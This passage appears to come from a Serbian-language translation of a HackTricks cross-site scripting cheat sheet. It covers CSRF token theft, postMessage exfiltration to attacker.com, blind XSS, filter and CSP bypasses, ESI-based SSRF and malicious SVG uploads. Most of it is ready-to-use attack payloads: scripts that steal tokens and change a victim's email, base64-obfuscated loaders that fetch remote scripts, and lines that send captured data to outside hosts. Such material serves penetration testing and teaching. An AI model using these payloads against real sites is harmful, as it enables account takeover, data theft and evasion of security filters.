  • Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom preko eval(atob('...')), kao što je prikazano gore.

Keylogger

Samo pretragom na github-u pronašao sam nekoliko različitih:

Krađa CSRF tokena

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Krađa PostMessage poruka

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Zloupotreba Service Workers

Abusing Service Workers

Pristup Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Takođe možete koristiti: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Pristup skrivenom sadržaju

From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS - iskorišćavanje drugih ranjivosti

XSS u Markdown

Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri:

XSS in Markdown

XSS u SSRF

Imate XSS na sajtu koji koristi keširanje? Pokušajte nadograditi ga na SSRF kroz Edge Side Include Injection sa ovim payload:

python
<esi:include src="http://yoursite.com/capture" />

Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\
Više informacija o ovoj tehnici ovde: XSLT.

XSS u dinamički kreiranom PDF-u

Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da prevarite bota koji kreira PDF da počne sa izvršavanjem proizvoljnog JS koda.\
Dakle, ako PDF creator bot pronađe neke HTML tagove, on će ih interpretirati, i možete ovo iskoristiti da prouzrokujete Server XSS.

Server Side XSS (Dynamic PDF)

Ako ne možete da injektujete HTML tagove, možda vredi pokušati da injektujete PDF podatke:

PDF Injection

XSS in Amp4Email

AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko AMP components.

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Primer writeup XSS in Amp4Email in Gmail.

XSS uploading files (svg)

Otpremite kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pronađi više SVG payloads na https://github.com/allanlw/svg-cheatsheet

Razni JS trikovi i relevantne informacije

Misc JS Tricks & Relevant Info

XSS resursi

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks